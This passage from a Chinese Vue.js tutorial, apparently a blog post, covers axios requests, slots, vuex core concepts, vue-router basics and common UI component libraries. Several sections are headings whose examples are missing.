						console.log('请求失败了',error.message)
					}
				)
			},
			getCars(){
				axios.get('http://localhost:8080/demo/cars').then(
					response => {
						console.log('请求成功了',response.data)
					},
					error => {
						console.log('请求失败了',error.message)
					}
				)
			}
		},
	}
</script>

4. 2 github 用户搜索案例

4. 2. 1 效果

4. 2. 2 接口地址

https://api.github.com/search/users?q=xxx

4. 3 vue 项目中常用的 2 个 Ajax 库

4. 3. 1 axios

通用的 Ajax 请求库,官方推荐,使用广泛

4. 3. 2 vue-resource

vue 插件库,vue 1 .x使用广泛, 官方已不维护。

4. 4 slot 插槽

4. 4. 1 效果

效果一(不使用插槽):

效果二(默认插槽):

效果三(具名插槽):

效果三(作用域插槽):

4. 4. 1 理解

父组件向子组件传递带数据的标签,当一个组件有不确定的结构时,就需要使用 slot 技术,注意:插槽内容是在父组件中编译后,再传递给子组件的。

4. 4. 2 分类

1 .默认插槽
2 .命名插槽
3 .作用域插槽

第 5 章:vuex

5. 1 理解 vuex

5. 1. 1 vuex 是什么

  1. 概念:专门在 Vue 中实现集中式状态(数据)管理的一个 Vue 插件,对 vue 应
    用中多个组件的共享状态进行集中式的管理(读/写),也是一种组件间通信的方
    式,且适用于任意组件间通信。
  2. Github 地址:https://github.com/vuejs/vuex

5. 1. 2 什么时候使用 Vuex

1. 多个组件依赖于同一状态
2. 来自不同组件的行为需要变更同一状态

5. 1. 3 案例

5. 1. 4 Vuex 工作原理图

5. 2 vuex 核心概念和 API

5. 2. 1 state

1 .vuex 管理的状态对象
2 .它应该是唯一的
3 .示例代码:

5. 2. 2 actions

1 .值为一个对象,包含多个响应用户动作的回调函数

2 .通过 commit()来触发 mutation 中函数的调用,间接更新 state

3 .如何触发 actions 中的回调?
在组件中使用: $store.dispatch(‘对应的action回调名’) 触发
4 .可以包含异步代码(定时器,ajax等等)
5 .示例代码:

5. 2. 3 mutations

1 .值是一个对象,包含多个直接更新 state 的方法
2 .谁能调用 mutations 中的方法?如何调用?
在 action 中使用: commit(‘对应的 mutations 方法名’) 触发
3 .mutations中方法的特点:不能写异步代码、只能单纯的操作 state
4 .示例代码:

5. 2. 4 getters

1 .值为一个对象,包含多个用于返回数据的函数

2 .如何使用?—— $store.getters.xxx

3 .示例代码:

5. 2. 5 modules

1 .包含多个 module
2 .一个module 是一个 store 的配置对象
3 .与一个组件(包含有共享数据)对应

第 6 章:vue-router

6. 1 相关理解

6. 1. 1 vue-router 的理解

vue的一个插件库,专门用来实现 SPA 应用

6. 1. 2 对 SPA 应用的理解

  1. 单页 Web 应用(singlepagewebapplication,SPA)。
  2. 整个应用只有 一个完整的页面 。
  3. 点击页面中的导航链接 不会刷新 页面,只会做页面的 局部更新。
  4. 数据需要通过 ajax 请求获取。

6. 1. 3 路由的理解

  1. 什么是路由?

1.一个路由就是一组映射关系(key-value)
2.key为路径,value可能是function或component

  1. 路由分类

1.后端路由:
1 )理解:value是function,用于处理客户端提交的请求。
2 )工作过程:服务器接收到一个请求时,根据 请求路径 找到匹配的 函数
来处理请求,返回响应数据。

2.前端路由:
1 )理解:value是component,用于展示页面内容。
2 )工作过程:当浏览器的路径改变时,对应的组件就会显示。

6. 2 基本路由

6. 2. 1 效果

6. 2. 2 总结:编写使用路由的 3 步

  1. 定义路由组件

  2. 注册路由

  3. 使用路由

6. 3 嵌套(多级)路由

6. 4 路由传参

6. 5 编程式路由导航

相关 API:
  1. this.$router.push(path):相当于点击路由链接(可以返回到当前路由界面)
  2. this.$router.replace(path):用新路由替换当前路由(不可以返回到当前路由界面)
  3. this.$router.back():请求(返回)上一个记录路由
  4. this.$router.go(- 1 ):请求(返回)上一个记录路由
  5. this.$router.go( 1 ):请求下一个记录路由

第 7 章:Vue UI 组件库

7. 1 移动端常用 UI 组件库

  1. Vant https://youzan.github.io/vant
  2. CubeUI https://didi.github.io/cube-ui
  3. MintUI http://mint-ui.github.io

7. 2 PC 端常用 UI 组件库

  1. ElementUI https://element.eleme.cn
  2. IViewUI https://www.iviewui.com
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值